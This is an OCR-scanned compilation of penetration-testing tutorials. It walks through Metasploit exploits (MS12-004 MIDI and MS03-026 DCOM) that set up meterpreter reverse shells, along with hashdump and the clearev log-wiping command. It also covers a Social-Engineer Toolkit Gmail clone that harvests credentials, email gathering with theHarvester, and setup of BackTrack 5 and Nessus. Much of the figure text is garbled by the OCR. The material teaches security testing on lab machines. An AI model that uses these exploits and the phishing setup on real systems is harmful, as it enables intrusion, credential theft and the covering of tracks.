asf exploit(m	12_004_midi) > 1	how option		
todule options				
			Description	
OBFUSCATE	false		Enable JavaScript obfuscation	
SRVHOST			The local host to listen on. This must be an address on the local machine or 0.0.0.	
SRVPORT	80 foliar		The local port to listen on,	
SSI Cart		00	Path to a custom SS certificate (default is randomly menerated)	
SSL Version			Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLSL)	
			The URI to use for this exploit (default is random)	
Name C Name C EXITEUNC p LHOST LPORT 4 Reploit target	s (vindows/beterp urrent Setting R rocess y 444 y	reter/reve equired D es E es T es T	rse_tcp): excription matt toteding.ub, thread, pohenous none w laten port	
Id Name				
	12_004_midi) >			
•				
<u>م</u>	Troot sh		I X . S . Olden G	

Figure 5. Configure payload settings

Step 3: Choose and configure the module in Metasploit

After you know which module you want to use, you can select the module and assign the appropriate variables.

msf> use exploit/windows/browser/ms12_004_midi

From this point, you need to fill in the variables. These are needed as input to finally exploit the target.

To know which variables need to fill in, use the command show options as shown in Figure 3.

Variable SRVHOST

This variable is used to specify the local host to listen on. In this example, you have to specify the IP address of your Backtrack machine.

msf> exploit(ms12_004_midi)> set SRVHOST 10.32.5.10

Variable SRVPORT

This variable is used to specify the local port to listen on.



Figure 6. Launching the exploit



Figure 7. Client connects to web server

msf> exploit(ms12 004 midi)> set SRVPORT 80

You can see the result of defining these variables in Figure 4.

Variable URIPATH

This variable is used to use the default URI.

msf> exploit(ms12_004_midi)> set URIPATH /

Step 4: Select a payload, which provides the attacker a remote shell

It is time to select your payload. There are a lot of payloads available, but you have to select the one which works for you. In this example you have to select the meterpreter as payload. You can select this payload by using the following command.

msf> exploit(ms12_004_midi)> set payload
windows/meterpreter/reverse_tcp

When launching show options again, you can see which variables need to be filled and used by the



Figure 8. Verifying the connection

			-
0 Automatic			
est exploit(ms12_00	4_midi) > set LHOST 10.32.5.10		
est exploit(ms12_00	4_midi) > set LPORT 8080		
sf exploit(ms12 00	4 midi) > exploit		
Exploit running a	as background job.		
•] Started reverse			
* Using UFL: http://	//10.32.5.10:80/		
-1 10.32.5.50	ms12_004_midi - Unknown user-age	int int	
10.32.5.50	as12 004 midi - Unknown user-age	int .	Q
10.32.5.51	#s12_004_midi - Sending HTML		
10.32.5.51	#s12_004 midi - Sending midi fil		
Meterpreter sess	ion 1 opened (10.32.5.10:0000 ->	10.32.5.51:1080) at 2012-05-20 14:09:57 +0200	
• Session ID 1 (10	.32.5.10:8080 -> 10.32.5.51:1088	processing InitialAutoRunScript 'migrate -f'	
 Current server pr Soluming notepad 	eve process to signate to		
+ Migrating to 152		CI +VOCI	
+ Successfully mig	rated to process	KILLACK SA	
esf exploit(ms12_00	4_midi) > show sessions		
Active sessions			
1 meteroreter sile	ACOEVAdministrator # AC	DEVMOS02 10.32.5.10:0000 -> 10.32.5.51:1000 (10.32.5.51)	
art avalait/estr at			
EI	and the second se		
Contraction of the Internet of	of the h	¥ 02:11 pm	

Figure 9. Output of show sessions

payload. First specify the IP address of the local host you are listening on. This IP address is needed to setup our reverse shell, thus from the compromised client back to our machine. Also specify the port that your machine is listening on.

```
msf> exploit(ms12_004_midi)> set LHOST 10.32.5.10
msf> exploit(ms12_004_midi)> set LPORT 8080
```

The result of setting these variables is displayed in Figure 5.

Step 5: Launch the exploit

After choosing the exploit, selecting a payload and defining all variables you are ready the launch the exploit. You can use the following command:

msf> exploit(ms12_004_midi)> exploit

After launching the exploit, the web server is started and listening on port 80. You can see the result in Figure 6.



Figure 10. Interact with sessions



Figure 11. Output of getuid

Step 6: Use a web browser on the client to connect to the web server

This can be a tricky part. You need some assistance from the end user here. You have to send the link of your web server so that the user can click on that link and is redirected to your web server.

Figure 7 shows you the IP address of the destination web server the user is connecting to.

Step 7: Verifying the connection

When the user has a connection to your web server, the crafted file is send to the web browser of the user account. When the file is executed successfully, a reverse connection is created and the attacker has access to the machine of the end user.

You can see in Figure 8 that a connection is created successfully.

Step 8: Interact with the session

You can use the following command to list the sessions:

msf> exploit(ms12 004 midi)> show sessions



Figure 12. Output of ps



Figure 13. Closing your session

Figure 9 show you the available sessions. You can see that we have one session and the administrator is currently logged on.

Each session is numbered as you can see in the above table under Id. To interact with this session you can use the following command:

msf> exploit(ms12_004_midi)> sessions -i 1

After interacting with a session, you successfully have now a meterpreter session. Notice that the prompted has changed. To retrieve information on the currently logged user, use the command getuid as you can see in Figure 11.

To retrieve a list of all running processes on the target machine, use the command ps as you can see in Figure 12.

Step 9: Close your session

To close your session, you can use the command exit as seen in Figure 13.

Conclusion

If applications, operating systems, etc are not properly patched, an attacker can use the weaknesses in these systems to gain access.

JOHAN LOOS



Johan works as a freelance information security specialist/trainer and is owner of Access Denied bvba, a Belgian based company. He focus on ethical hacking, wireless security, vulne-rability assessments, nextgeneration firewalls and data-center

security. Johan has more than 15 year experience in ICT and during his career he obtained several certification such as CISSP, CEH, OSWP, and others.

BackTrack 5 Toolkit Tutorial

ONJemanD BackTrack 5 Toolkit Tutorial

BackTrack is an operating system based on the Ubuntu GNU/Linux distribution aimed at digital forensics and penetration testing use. It is named after backtracking, a search algorithm. The current version is BackTrack 5, code name "Revolution."

upport for Live CD and Live USB functionality
 allows users to boot BackTrack directly from
 portable media without requiring installation,



Figure 1. Linux Viev



Figure 2. BackTrack Installation I

though permanent installation to hard disk is also an option. BackTrack includes many well known security tools including:

- Metasploit integration
- · RFMON Injection capable wireless drivers
- Aircrack-NG
- Kismet
- Nmap
- Ophcrack
- Ettercap
- Wireshark (formerly known as Ethereal)
- BeEF (Browser Exploitation Framework)
- Hydra (Figure 1)

Table 1. Releasing Dates Of BackTrack Versions

Date	Release
February 5, 2006	BackTrack v.1.0 Beta
May 26, 2006	The BackTrack project released its first non-beta version (1.0).
March 6, 2007	BackTrack 2 final released.
June 19, 2008	BackTrack 3 final released.
January 9, 2010	BackTrack 4 final release. (Now based on Ubuntu)
May 8, 2010	BackTrack 4 R1 release
November 22, 2010	BackTrack 4 R2 release
May 10, 2011	BackTrack 5 release (Based on Ubuntu 10.04 LTS, Linux kernel 2.6.38)
August 18, 2011	BackTrack 5 R1 release (Based on Ubuntu 10.04 LTS, Linux kernel 2.6.39.4)
March 1, 2012	BackTrack 5 R2 release (Linux kernel 3.2.6[8])

Steps To Install BackTrack 5

We are finally ready to start installing Backtrack. To do, double-click on the install.sh icon on the desktop. This will start the graphical installer. Select you language of choice and click the 'Forward' button (Figure 2).

Next, select you time zone and click the 'Forward' button (Figure 3).

The next step is to select our keyboard layout. Pick yours and click the 'Forward' button. I can not vouch for any keyboard layout other than English (Figure 4).

Click on 'Specify partitions manually' and click the 'Forward' button (Figure 5).

We are not going to indicate the mount points for our partitions. First let's setup our root partition. Click on the row with vg-root in it and click the 'Change' button (Figure 6).

Select ext4 from the dropdown menu for 'Use as:', click 'Format the partition:', enter '/' without the quotes for the mount point and click the 'OK' button. The system will re-read the partition table and redisplay it (Figure 7).

Now for the boot partition. Click the row with you boot parition in it, /dev/sdb1 in my case, and click the 'Change' button (Figure 8).







Figure 4. BackTrack Installation III

Prepare disk spa	ce		
his computer has no o	perating systems on it		
Where do you want to p	out BackTrack Live?		
		PDDICK	
[SCSIS (0,0,0) (Sda)	- 4.2 MID AIA VBOX HA	אכועעחו	
O Specify partitions	manually (advanced)		
	anually (advanced)		
Specify partitions m			
Specify partitions m	andany (dovanced)		
Specify partitions m	undury (dovunced)		

Figure 5. BackTrack Installation IV

Again, select ext4 and click the format checkbox. Enter /boot without the quotes for the mount point and click the 'OK' button. The disk partition will be re-read and the display updated (Figure 9).

Click the 'Forward' button (Figure 10).

You will get this message if you are installing to a USB drive and not using a swap partition. Click the 'Continue' button (Figure 11).

] mapper/vg-root (ex	t4)				
Device	Туре	Mount point	Format?	Size	Used
/dev/mapper/pvcrypt					
/dev/mapper/vg-root					
/dev/mapper/vg-root	ext4			16634 MB	unknown
/dev/sda					
/dev/sdb					
/dev/sdb1				534 MB	unknown
/dev/sdb5				16639 MB	unknown

Figure 6. BackTrack Installation V

dit a partition		
Use as:	Ext4 journaling file system	
Format the partition:	2	
Mount point:	[/	₹
New Partition Table	Cancel OK	

Figure 7. BackTrack Installation VI

sdb1 (unknown)	sdb5	(unknown)			
Device	Туре	Mount point	Format?	Size	Used
/dev/mapper/pvcrypt					
/dev/mapper/vg-root					
/dev/mapper/vg-root	ext4	1		16634 MB	unknown
/dev/sda					
/dev/sdb					
/dev/sdb1				534 MB	unknown
/dev/sdb5				16639 MB	unknown

Figure 8. BackTrack Installation VII

WARNING

You must click on the advanced tab on the next page and select your USB drive as the target for installing the bootloader. You will break your system if you do not (Figure 12).

Don't forget! Make sure you select the target disk for your install as the device for the boot loader to be installed on or you run the risk of making the system you

Prepare partitio	ns	
× Edit partition		
Edit a partition		
Use as:	Ext4 journaling file system	•
Format the partition:	E4	
Mount point:	/boot	
New Partition Table Step 5 of 8	Cancel OK Add Change Delete Revert Quit Back Forward	



sdb1 (ext4) 📕 sdb	5 (unl	known)			
Device	Туре	Mount point	Format?	Size	Used
/dev/mapper/pvcrypt					
/dev/mapper/vg-root					
/dev/mapper/vg-root	ext4	1		16634 MB	unknown
/dev/sda					
/dev/sdb					
/dev/sdb1	ext4	/boot	1	534 MB	unknown
/dov/cdb5				16639 MB	unknown

Figure 10. BackTrack Installation IX

sdb1 (ext	4) 🔲 sdb5 (unknown)
Dovico	× Do you want to return to the partitioning menu?
/dev/mapp /dev/mapp	You have not selected any partitions for use as swap space. Enabling swap space is recommended so that the system can make better use of the available physical memory, and
/dev/map	so that it behaves better when physical memory is scarce.
/dev/sda	You may experience installation problems if you do not
/dev/sdb	nave enough physical memory.
/dev/sdb1	If you do not go back to the partitioning menu and assign a
/dev/sdb5	space.
Now Partit	Go Back Continue

Figure 11. BackTrack Installation X

are doing this on non-bootable. Then click on the 'OK' button (Figure 13).

Click the 'Install' button to start the install (Figure 14). This will take some time. Go get a coke or beverage or your choice and relax for a bit (Figure 15). More waiting (Figure 16), and ... more waiting. If it seems like the system is stuck at 99% forever, that's normal, at least in every case where I have done the install (Figure 17).

our new operating system w	vill now be insta	alled with the f	ollowing setti	ngs:
Language: English Keyboard layout: USA				
Name:				
Login name: Location: America/Chicago	0			
Migration Assistant:				
If you continue, the change	as listed below	will be written	to the disks	
Otherwise, you will be able	to make furth	er changes ma	nually.	

Figure 12. BackTrack Installation XI

our new	* Advanced Options IS:
Langu Keybo Name	Install boot loader Device for boot loader installation:
Login	/dev/sdb
Migrat	Network proxy HTTP proxy: Port: 8080 +
If you Otherv	Cancel OK

Figure 13. BackTrack Installation XII

our new operating system will no	w be installed with the following settings:
Language: English Keyboard layout: USA Name: Login name: Location: America/Chicago Migration Assistant:	
If you continue, the changes list Otherwise, you will be able to m	ed below will be written to the disks. ake further changes manually.

Figure 14. BackTrack Installation XIII

Finally! Important! Click on the 'Continue Testing' button. *DO NOT* click on the 'Restart Now' button or you have to redo a bunch of stuff (Figure 18).

*****Sucssessfully Installed BackTrack 5 R2*****

Metasploit

If you are really interested in network security, chances are you must have heard of the Metasploit over the last few years.

Now, have you ever wondered what someone can do to your PC, by just knowing your IP. Here's the answer. He could 0wN you, or in other words, he could have full access to your PC provided you have just a few security loopholes which may arise cause of even a simple reason like not updating your Flash player last week, when it prompted you to do so.

Metasploit is a hacker's best friend, mainly cause it makes the job of exploitation and post-exploitation a lot easier compared to other traditional methods of hacking.





Figure 17. XV/





Figure 18. XVII

The topic Metasploit is very vast in itself. However, I'll try keeping it basic and simple so that it could be understood by everyone here. Also, Metasploit can be used with several other tools such as NMap or Nessus (all these tools are present in Backtrack).

In this tutorial, We will learn that how to exploit a system using a meterpreter payload and start a key logger on the victim's machine.

Hacking through Metasploit is done in 3 simple steps: *Point, Click, 0wn.*

Before we go into the details of The Metasploit Framework, let me give you a little idea of some basic terms (may seem boring at first, but you must be knowing them)

- Vulnerability: A flaw or weakness in system security procedures, design or implementation that could be exploited resulting in notable damage.
- *Exploit:* A piece of software that take advantage of a bug or vulnerability, leading to privilege escalation or DoS attacks on the target.
- Overflow: Error caused when a program tries to store data beyond its size. Maybe used by an attacker to execute malicious codes.
- Payload: Actual code which runs on the compromised system after exploitation

Now, what does Metasploit is?

It is an open source penetration testing framework, used for developing and executing attacks against target systems. It has a huge database of exploits, also it can be used to write our own 0-day exploits.



Figure 19. Metasploit Shell I



Figure 20. Tools Pathway

Introduction

When I say Penetration Testing tool the first thing that comes to your mind is the world's largest Ruby project, with over 700,000 lines of code Metasploit [Reference 1]. No wonder it had become the de-facto standard for penetration testing and vulnerability development with more than one million unique downloads per year and the world's largest, public database of quality assured exploits.

The Metasploit Framework is a program and subproject developed by Metasploit LLC. It was initially created in 2003 in the Perl programming language, but was later completely re-written in the Ruby Programming Language. With the most recent release (3.7.1) Metasploit has taken exploit testing and simulation to a complete new level which has muscled out its high priced commercial counterparts by increasing the speed and lethality of code of exploit in shortest possible time.

I will walk your through detailed step by step sequence of commands along with graphical illustrations to perform effective penetration testing using Metasploit framework.

Working With Metasploit

Metasploit is simple to use and is designed with easeof-use in mind to aid Penetration Testers.

Metasploit Framework follows these common steps while exploiting a any target system



Figure 21. Metasploit Shell II



Figure 22. Metasploit Shell III

- Select and configure the exploit to be targeted. This is the code that will be targeted toward a system with the intention of taking advantage of a defect in the software. Validate whether the chosen system is susceptible to the chosen exploit.
- Select and configure a payload that will be used. This payload represents the code that will be run on a system after a loop-hole has been found in the system and an entry point is set.t.
- Select and configure the encoding schema to be used to make sure that the payload can evade Intrusion Detection Systems with ease.
- Execute the exploit.

I will be taking you through this demo in BackTrack 5 [Reference 2], so go ahead and download that if you don't already have it. The reason for using BackTrack 5 is that it comes with perfect setup for Metasploit and everything that Pen Testing person ever need.

Metasploit framework has three work environments. the msfconsole, the msfcli interface and the msfweb interface. However, the primary and the most preferred work area is the 'msfconsole'. It is an efficient commandline interface that has its own command set and environment system. Before executing your exploit, it is useful to understand what some Metasploit commands do. Below are some of the commands that you will use most. Graphical explanation of their outputs would be given as and when we use them while exploiting some boxes in later part of the article.

search <keyword>: Typing in the command search along with the keyword lists out the various possible exploits that have that keyword pattern.



Figure 23. Metasploit Shell IV



Figure 24. Metasploit Shell V

- show exploits: Typing in the command show exploits lists out the currently available exploits. There are remote exploits for various platforms and applications including Windows, Linux, IIS, Apache, and so on, which help to test the flexibility and understand the working of Metasploit.
- show payloads: With the same show command, we can also list the payloads available. We can use a show payloads to list the payloads.
- show options: Typing in the command show options will show you options that you have set and possibly ones that you might have forgotten to set. Each exploit and payload comes with its own options that you can set.
- info <type> <name>: If you want specific information on an exploit or payload, you are able to use the 'info' command. Let's say we want to get complete info of the payload 'winbind'. We can use 'info payload winbind'.
- use <exploit _ name>: This command tells Metasploit to use the exploit with the specified name.
- set RHOST <hostname_or_ip>: This command will instruct Metasploit to target the specified remote host.
- set RPORT <host _port>: This command sets the port that Metasploit will connect to on the remote host.
- set PAYLOAD <generic/shell_bind_tcp>: This command sets the payload that is used to a generic payload that will give you a shell when a service is exploited.
- set LPORT <local_port>: This command sets the port number that the payload will open on the server when an exploit is exploited. It is important that this port number be a port that can be opened on the

File Edit View Terminal Help msf > use exploit/windows/dcerpc/ms03_026_dcom msf exploit(ms03_026_dcom) >

Figure 25. Metasploit Shell VI



Figure 26. Metasploit Shell VII

server (i.e.it is not in use by another service and not reserved for administrative use), so set it to a random 4 digit number greater than 1024, and you should be fine. You'll have to change the number each time you successfully exploit a service as well.

- exploit: Actually exploits the service. Another version of exploit, exploit reloads your exploit code and then executes the exploit. This allows you to try minor changes to your exploit code without restarting the console
- help: The help command will give you basic information of all the commands that are not listed out here.

Pen Testing Using Metasploit

Here is the demonstration of pen testing a vulnerable target system using Metasploit with detailed steps.

```
Victim Machine
OS: Microsoft Windows Server 2003
IP: IP: 192.168.42.129
Attacker (Our) Machine
OS: Backtrack 5
Kernel version: Linux bt 2.6.38
#1 SMP Thu Mar 17 20:52:18 EDT 2011 i686 GNU/Linux
Metasploit Version:
Built in version of Metasploit 3.8.0-dev
IP: 192.168.42.128
```

Our objective here is to *gain remote access* to given target which is known to be running vulnerable *Windows 2003 Server.*



Figure 27. Pentesting ShellCode I



Figure 28. Pentesting ShellCode II

Here are the detailed steps of our attack in action.

Step 1

Perform an Nmap [Reference 3] scan of the remote server 192.168.42.129.

The output of the Nmap scan shows us a range of ports open which can be seen Figure 19.

We notice that there is *port 135* open. Thus we can look for scripts in Metasploit to exploit and gain shell access if this server is vulnerable.

Step 2

Now on your BackTrack launch *msfconsole* as shown Figure 20. *Application>BackTrack>Exploitation Tools>Network Exploit Tools>Metasploit Framework>msfconsole*.

During the initialization of msfconsole, standard checks are performed. If everything works out fine we will see the welcome screen as shown (Figure 21).

Step 3

Now, we know that port 135 is open so, we search for a related *RPC exploit* in Metasploit.

To list out all the exploits supported by Metasploit we use the show exploits command. This exploit lists out all the currently available exploits and a small portion of it is shown in the Figure 22.

As you may have noticed, the default installation of the Metasploit Framework 3.8.0-dev comes with 696 *exploits* and 224 *payloads*, which is quite an impressive stockpile thus finding a specific exploit from this huge list would be a real tedious task. So, we use a better option. You can either visit the link *http://metasploit.com/ modules/* or another alternative would be to use the search <keyword> command in Metasploit to search for related exploits for RPC.command in Metasploit to search for related exploits for RPC.

A X X Terminal	
File Edit View Terminal Help	
<u>nsf</u> exploit(ms03_026_dcom) > check [▲] This exploit does not support check. <u>msf</u> exploit(ms03_026_dcom) > ■ contemporation	. the mote war also also

Figure 29. Pentesting ShellCode III



Figure 30. Pentesting ShellCode IV

In msfconsole type *search dcerpc* to search all the exploits related to dcerpc keyword as that exploit can be used to gain access to the server with a vulnerable port 135. A list of all the related exploits would be presented on the msfconsole window and this is shown in Figure 23.

Step 4

Now that you have the list of RPC exploits in front of you, we would need more information about the exploit before we actually use it. To get more information regarding the exploit you can use the command: info exploit/windows/dcerpc/ms03_026_dcom.

This command provides information such as available targets, exploit requirements, details of vulnerability itself, and even references where you can find more information. This is shown in Figure 24.

Step 5

The command use <exploit_name> activates the exploit environment for the exploit <exploit_name>. In our case we will use the following command to activate our exploit (Figure 25)

"use exploit/windows/dcerpc/ms03_026_dcom"

From the above figure we can see that, after the use of the exploit command the prompt changes from "msf>" to $msf exploit(ms03_026_dcom)$ > which symbolizes that we have entered a temporary environment of that exploit.

Step 6

Now, we need to configure the exploit as per the need of the current scenario. The show options command displays the various parameters which are required for the exploit to be launched properly. In our case,



Figure 31. Pentesting ShellCode V



Figure 32. Pentesting ShellCode VI

the RPORT is already set to 135 and the only option to be set is RHOST which can be set using the set RHOST command.

We enter the command set RHOST 192.168.42.129 and we see that the RHOST is set to 192.168.42.129 (Figure 26).

Step 7

The only step remaining now before we launch the exploit is setting the payload for the exploit. We can view all the available payloads using the show payloads command.

As shown in the Figure 27, show payloads command will list all payloads that are compatible with the selected exploit.

For our case, we are using the reverse tcp meterpreter which can be set using the command, set PAYLOAD windows/meterpreter/reverse_tcp which spawns a shell if the remote server is successfully exploited. Now again you must view the available options using "show options" to make sure all the compulsory sections are properly filled so that the exploit is launched properly (Figure 28).

We notice that the LHOST for out payload is not set, so we set it to out local IP ie. 192.168.42.128 using the command set LHOST 192.168.42.128.

Step 8

Now that everything is ready and the exploit has been configured properly it's time to launch the exploit.

You can use the check command to check whether the victim machine is *vulnerable* to the exploit or not. This option is not present for all the exploits but can be



Figure 33. Pentesting ShellCode VII



Figure 34. Pentesting ShellCode VIII

a real good support system before you actually exploit the remote server to make sure the remote server is not patched against the exploit you are trying against it.

In our case as shown in the Figure 29, our selected exploit does not support the check option.

The exploit command actually launches the attack, doing whatever it needs to do to have the payload executed on the remote system (Figure 30).

He above figure shows that the exploit was successfully executed against the remote machine 192.168.42.129 due to the vulnerable port 135. This is indicated by change in prompt to meterpreter >.

Step 9

Now that a reverse connection has been setup between the victim and our machine, we have complete control of the server. We can use the help command to see



Figure 35. iX



Figure 36. Pentesting ShellCode X



Figure 37. Pentesting ShellCode XI

which all commands can be used by us on the remote server to perform the related actions as displayed in the Figure 31.

Below are the results of some of the meterpreter commands.

- "ipconfig" prints the remote machines all current TCP/IP network configuration values
- "getuid" prints the server's username to he console.
- "hashdump" dumps the contents of the SAM database.
- "clearev" can be used to wipe off all the traces that you were ever on the machine.

Summary

Thus we have successfully used Metasploit framework to break into the remote Windows 2003 server and get shell access which can be used to control the remote machine and perform any kind of operations.

Here are potential uses of the Metasploit Framework:

- Metasploit can be used during penetration testing to validate the reports by other automatic vulnerability assessment tools to prove that the vulnerability is not a false positive and can be exploited. Care has to taken because not only does it disprove false positives, but it can also breaks things.
- Metasploit can be used to test the new exploits that come up nearly every day on your locally hosted



Figure 38. Pentesting ShellCode XII



Figure 39. Google Mail Overviev

test servers to understand the effectiveness of the exploit.

 Metasploit is also a great testing tool for your intrusion detection systems to test whether the IDS is successful in preventing the attacks that we use to bypass it.

Social Engineering Toolkit In BackTrack 5

The Social-Engineer Toolkit (SET) is specifically designed to perform advanced attacks against the human element. Originally this tool was designed to be released with the http://www.social-engineer.org launch and has quickly become a standard tool in a penetration tester's arsenal. SET was written by David Kennedy (ReL1K) and with a lot of help from the community in incorporating attacks never before seen in an exploitation toolset. The attacks built into the toolkit are designed to be targeted a focused attacks against a person or organization used during a penetration test.

Features of SET

- Spear-Phishing Attack Vectors
- Website Attack Vectors
- Infectious Media Generator
- Create a Payload and Listener
- Mass Mailer Attack
- Teensy USB HID Attack Vector
- SMS Spoofing Attack vector



Figure 40. Social-Engineer Toolkit I



Figure 41. Social-Engineer Toolkit II

- · Wireless Access Point Attack vector
- Third Party Module
- Upadte the metal Spolit Framework
- Update the Social-Engineer Toolkit
- Help, Credits, and About
- Exit the Social-Engineer Toolkit

Step 1

Once you have got the backtrack loaded, open up your console and type the following command (Figure 32)

Once you are in the SET directory type. /set to launch the social engineering toolkit (Figure 33).

Step 2

Once SET has been loaded, You should see many options, Since we are working with *credential harvester attack method*, we will select the *second option* which is website attack vectors (Figure 34).

Step 3

Next you would see many options under website attack vectors, we will select the *3rd option* (Figure 35).

Step 4

Now, SET will ask us about the type of attack vector we would like to use, If you have your own web template,



Figure 42. Social-Engineer Toolkit III

root@bt:-# /opt/nessus/sbin/nessus-adduser Login : paul Login presented :
Login password (again) : Login password (again) : Do you want this user to be a Nessus 'admin' user ? (can upload plug ins, etc) (y/n) [n]: y User rules
nessusd has a rules system which allows you to restrict the hosts that paul has the right to test. For instance, you may want him to be able to scan his own host only.
Please see the nessus-adduser manual for the rules syntax
Enter the rules for this user, and enter a BLANK LINE once you are done : (the user can have an empty rules set)
Login : paul
rassword This user will have 'admin' privileges within the Nessus server Rules Is that ok ? (y/n) [y] User added root@ht:≠ ▇

Figure 43. Social-Engineer Toolkit IV

you can go for the third option. In this article, i am going with the *first option* which gives me some *predefined web templates* (Figure 36).

Step 5

Now it asks us to select the *web template*. In my case it is *GMAIL*, which is second option. After selecting the 2nd option and pressing enter just continue by pressing enter key again. Now SET will start cloning my local IP address of the backtrack box (Figure 37).

Step 6

Now open a new terminal and type ifconfig to get the *IP* address of your backtrack box (Figure 38).

When the victim visits this ip address, he will get my cloned gmail website and he will enter his login credentials (Figure 39).

Step 7

The entered credentials can be found at our *SET terminal* as shown in the following Figure 40.

*****Successfully Credential Harvested By Using***** Social Engineering Attack

BackTrack Tool: The Harvester

Information is a weapon, a successful testing and a *hacking* process need a lots of relevant information that is why, information gathering so called foot printing is the first step of hacking. An intelligent penetration tester uses some intelligent tools and techniques to get the right information on a right time, for social engineering (human hacking) you need relevant information about a person. So the point of this little discussion is to realize the importance of information gathering.

root@bt:~# /etc/init.d/nessusd start
Starting Nessus : .
root@bt:~#

Figure 44. The Harvester Toolkit I



Figure 45. The Harvester Toolkit II

What Is TheHarvester

After getting some knowledge about information gathering you might be interested to know how to perform it. TheHarvester is a tool for gathering e-mail accounts, user names and hostnames/subdomains from different public sources like search engines and PGP key servers. This tools has designed to help the penetration tester on a earlier stage, it is an effective and simple tool that is very easy to use.

Supported Sources for Information Gathering

- Google emails,subdomains/hostnames
- Google profiles Employee names
- Bing search emails, sub domains/hostnames, virtual hosts
- Pgp servers emails, sub domains/hostnames
- LinkedIn Employee names
- Exalead emails,subdomains/hostnames

Related Information Gathering Tutorials

Foot-printing or information gathering is not a new term and we have discussed so many articles with different tools and techniques before for both *Windows* and *Linux* (Ubuntu, Backtrack), here is the comprehensive list of articles.

- Foot Printing-First Step Of Ethical Hacking
- Maltego- Information Gathering Tool Tutorial
- Dnsmap- DNS Network Mapper
- Backtrack 5- DNSenum Information Gathering Tool

The Harvester Tutorial

Theharvester is a very easy tool to use just follow the tutorial to get the best result. For backtrack open terminal and locate the directory.



Figure 46. The Harvester Toolkit III

M hercus	· (m)	
+ C aper	(locahort)(R) 4	\$ A
Ressus		
Scane	Hepoth Salara Policies Users Configuration	
Add Scan	Annual Internation	
	The Bully +	
	Pulty Internal Balance Itian •	
	Brain Targeta 102, Noli 234, 529	
	Tapit Fie	
	The second se	
		Canadi Change State
A F		

Figure 47. The Harvester Toolkit IV

root@bt:cd /pentest/enumeration/theharvester#

For other distributions locate the directory. For best result I use the command

root@bt:/pentest/enumeration/theharvester#

- ./theHarvester.py -d google.com -l 500 -b google
- root@bt:/pentest/enumeration/theharvester#
- ./theHarvester.py -d targetsite.com -l 500 -b google

Here

./theHarvester.py is used to start the tool.

- -d is used to specify the domain.
- -1 is used to limit the number of results.
- -b is used to specify that in what search engine we want to search. We can taje google, Bing etc.

So here is the result with complete details (Figure 41). Here you can see that different hosts are found. This is how we gather Information by using the tool 'theHarvester " Only On Backtrack 5.

Enjoy!

BackTrack Tool: Nessus

Nessus is one of the best vulnerability scanner that is available in two mode for both home and commercial user's, Nessus plug in for home user is free of cost. However we have OpenVAS and Nexpose they both are also a good vulnerability scanner. Nessus installation in

Mesonal Network	- 100												
+ C 8 3	/locabort #114												승 3
Tessus"													
Scane	History	No.	(HERITAR)	ALM S	Candigundica				_			_	
							+ AN		- Brown	Glant	· Pess	-	Detete
Name		_	_	Center		_		status		Blart Time			
ojterhart				100				Parring () Parl	184	Maj 24, 2012	121		
		_					_		_				_

Figure 48. Beyond Nessus I

Note of the second se	porta	- Papers	30818 10104	Least Configuration			~~ *~
Physical P del Alfride	sylverhard Value Corporat May 24, 201	entillig Roman	a i fieldener			feron)	Direction) (direction)
Angelio Isolation Neuronce Network Neuronce Neuronce NVI V Note Ministra Mission Handle Ministra	Filmen Mo Filmen		ĸ				Chief Pill
SHY Dira Mitted/M Maack Hands from Same Calaby IDP Data straining, Hands Calaby IDP. Mitted	Plagin ID	Ceord	* Anverity	* Rete	Family		
NMC Second State Methods State Methods State Methods State NMC Second State Second State Methods State Methods State NMC Second State Second State Methods State Methods State NMC Methods State Methods State Methods State Methods State NMC Methods State Methods State Methods State Methods State NMC Methods State Methods State Methods State Methods State NMC Methods State Methods State Methods State Methods State NMC Methods State Methods State Methods State Methods State NMC Methods State Methods State Methods State Methods State NMC Methods State Methods State Methods State Methods State NMC Methods State Methods State Methods State Methods State NMC Methods State Methods State Methods State Methods State NMC Methods State Methodst	34477	1	DEX	MSOE-ORT. Microsoft Mindows Service Crafted RPC Request Handling Remote Caste Execution (1980)	Mirchest .		
1919 0 0.040m 0.040m/0.040m/0.040m 0.040m 1921 4 Weak Manuel Montel Montal Manuel Montalina Manuel Montel Mon	31962	1	Longe -	MIDE-OZY. Microsoft Wirelaws (MIE Victor obliges Renote Code Executor (MINRO) (counderlated check)	Winites		
Jack Mode Manafestan BM ALL jack Abstration Massa 1991 Mole Mill Surge Abstration Massa 1992 B Mill Surge Abstration Massa 1994 Mill Surge Abstration Massa Massa 1994 Mill Surge Abstration Surge A	\$1192	1	Statute .	33, Cethore Carnet IIn Transd	Germit		
DBM DM DM (space/back) Max. 2047 3 50. maint advance/DM Max. 2046 1 50. maint advance/DM Max. 2047 3 50. maint advance/DM Max. 2048 3 50. Max. Max. 1917 7 50. Max. Max. 1918 2 50. Max. Max. 1917 2 50. Max. Max. Max. 1918 2 50. Max. Max. Max. Max. 1917 2 50. Max. Max. Max. Max. 1918 2 50. Max. Max. Max. Max. Max. 1918 3 50. Max. Max. Max. Max. Max. Max.	20021	1	Steak.co	Monact Windows IMB WALL Sensier Authentication	Westeast		
1017 101 and manage (BI) Park and manage (BI) Park and manage (BI) 1024 10 50 Ever Source See Source 1028 10 50 Ever Source See Source 1029 10 50 Ever Source Source 1021 10 50 Ever Source Source 1020 10 Source Source Source 1020 10 Source Ever Source Source 1021 10 Source Source Source Source 1020 10 Source Source Source Source 1031 10 Source Source Source Source 1034 10 Source Mound Mound Millingh Took Source Source Source 1034 10 Source Mound Mound Lingh Took Source Source 1034 10 Source Mound Mound Lingh Took Source Source 1034 10	57601	1	No.0	140 Spring Deutley	Mar.		
DBM D Form Decode Form Control Form Control 1011 0 00 No. Control Sectional Operational Operational 1011 0 00 No. Control Sectional Operational Operational Operational Operational No. Operational Operation Operational </td <td>14252</td> <td></td> <td>1.00</td> <td>netskel portkuszner (SSH)</td> <td>Part surveys</td> <td></td> <td></td>	14252		1.00	netskel portkuszner (SSH)	Part surveys		
1080 10 10. Optimization down 1111 1 0 Non-Al diversitation Managination down 1240 1 0 Non-Al diversitation Managination down 1240 1 0 Non-Al diversitation Respond down 1241 1 0 Non-Al diversitation Respond down 1241 1 0 Non-Al diversitation Managination 1241 1 0 Non-Al diversitation Managination Managination 1241 1 0 Non-Al diversitation Managination Managination 1241 1 0 Non-Al diversitation Non-Al diversitation Non-Al diversitation Non-Al diversitation 1241 1 0 Non-Al diversitation Non-Al diversitation </td <td>22964</td> <td>1</td> <td>144</td> <td>Service Detectors</td> <td>Service detection</td> <td></td> <td></td>	22964	1	144	Service Detectors	Service detection		
